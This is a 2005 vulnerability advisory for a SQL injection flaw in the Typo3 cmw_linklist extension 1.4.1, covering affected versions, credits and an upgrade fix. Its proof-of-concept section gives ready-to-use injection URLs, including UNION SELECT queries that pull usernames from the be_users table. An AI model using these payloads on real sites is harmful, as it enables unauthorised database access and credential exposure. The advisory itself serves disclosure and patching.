Typo3 CMW_Linklist Extension SQL Injection Vulnerability

BID:12721

Info

Typo3 CMW_Linklist Extension SQL Injection Vulnerability

Bugtraq ID: 12721
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Mar 03 2005 12:00AM
Updated: Mar 03 2005 12:00AM
Credit: Discovery of this vulnerability is credited to Fabian Becker <[email protected]>.
Vulnerable: Sebastian Faulhaber cmw_linklist 1.4.1
+ Typo3 Typo3 3.7 .0
+ Typo3 Typo3 3.6.2
Not Vulnerable: Sebastian Faulhaber cmw_linklist 1.5 .0

Discussion

Typo3 CMW_Linklist Extension SQL Injection Vulnerability

Typo3 'cmw_linklist' extension is affected by a remote SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in a SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue is reported to affect 'cmw_linklist' extension versions 1.4.1 and earlier.

Exploit / POC

Typo3 CMW_Linklist Extension SQL Injection Vulnerability

No exploit is required.

The following proof of concept is available:
http://www.example.com/[LinksSection]?&no_cache=1&action=getviewcategory&category_uid=1%20or%201=1

Gulftech Security Research has supplied the following additional proof of concepts:
A test for vulnerability:
http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username%20FROM%20be_users%20WHERE%20uid=1/*
Lists user names and categories:
http://www.example.com/[path]/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20username,null%20FROM%20be_users%20WHERE%201/*

Solution / Fix

Typo3 CMW_Linklist Extension SQL Injection Vulnerability

Solution:
An upgrade to the 'cmw_linklist' extension has been made available:


Sebastian Faulhaber cmw_linklist 1.4.1

References

Typo3 CMW_Linklist Extension SQL Injection Vulnerability

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